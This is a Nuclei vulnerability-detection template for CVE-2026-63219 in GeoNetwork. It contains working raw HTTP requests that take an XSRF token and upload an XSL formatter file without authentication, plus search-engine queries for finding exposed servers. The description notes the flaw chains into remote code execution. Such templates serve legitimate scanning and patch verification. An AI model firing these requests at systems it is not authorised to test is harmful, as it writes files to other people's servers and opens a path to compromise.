id: CVE-2026-63219 info: name: GeoNetwork - Pre-Auth Formatter Upload (Missing Authorization) author: DhiyaneshDk severity: high description: | GeoNetwork before 4.4.12 and before 4.2.17 is missing the @PreAuthorize("hasAuthority('UserAdmin')") authorization check on the formatter upload API (addFormatter in FormatterAdminApi, POST /srv/api/formatters), a missing authorization vulnerability (CWE-862). A remote unauthenticated attacker can upload arbitrary .xsl/.zip formatter files to the server storage, which combined with unsafe XSLT execution (CVE-2026-58400) enables unauthenticated remote code execution. This template proves the authorization bypass: an unauthenticated multipart upload of a benign XSL formatter is accepted by the server (HTTP 201 Created) instead of being rejected with 401/403. impact: | Unauthenticated attackers can write arbitrary files to server storage, leading to unauthorized file modification and potential further compromise. remediation: | Upgrade to versions 4.4.12 or 4.2.17 or later. reference: - https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-mh22-prqr-vf42 - https://github.com/geonetwork/core-geonetwork/pull/9346 - https://docs.geonetwork-opensource.org/4.4/overview/change-log/version-4.4.12 - https://nvd.nist.gov/vuln/detail/CVE-2026-63219 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N cvss-score: 8.6 cve-id: CVE-2026-63219 epss-score: 0.01359 epss-percentile: 0.72403 cwe-id: CWE-862 metadata: verified: true max-request: 4 vendor: geonetwork product: core-geonetwork shodan-query: title:"GeoNetwork" fofa-query: app="GeoNetwork" tags: cve,cve2026,geonetwork,file-upload,auth-bypass,rce,vkev,intrusive variables: marker: "{{rand_text_alpha(8)}}" boundary: "{{rand_text_alphanumeric(16)}}" flow: http(1) && http(2) http: - raw: - | GET /srv/api/info?type=site HTTP/1.1 Host: {{Hostname}} Accept: application/json - | GET /geonetwork/srv/api/info?type=site HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - "contains(to_lower(header), 'xsrf-token=')" internal: true extractors: - type: regex name: xsrf_token internal: true part: header group: 1 regex: - "XSRF-TOKEN=([a-f0-9-]+)" - raw: - | POST /srv/api/formatters HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary={{boundary}} X-XSRF-TOKEN: {{xsrf_token}} Cookie: XSRF-TOKEN={{xsrf_token}} Accept: application/json --{{boundary}} Content-Disposition: form-data; name="file"; filename="{{marker}}.xsl" Content-Type: application/xml --{{boundary}}-- - | POST /geonetwork/srv/api/formatters HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary={{boundary}} X-XSRF-TOKEN: {{xsrf_token}} Cookie: XSRF-TOKEN={{xsrf_token}} Accept: application/json --{{boundary}} Content-Disposition: form-data; name="file"; filename="{{marker}}.xsl" Content-Type: application/xml --{{boundary}}-- matchers-condition: and matchers: - type: status status: - 201 - type: word part: body negative: true words: - "Unauthorized" - "Access Denied" - "Authentication is required" condition: or # digest: 4a0a0047304502210089dc3d1d3053a59a66c647a4b41b2afae498af1184db7edbc86461901b4f52f702203533127e161ac16f2238f85f953b7e7b051e14fdf8493a6e6f1530f711788bdd:922c64590222798bb761d5b6d8e72950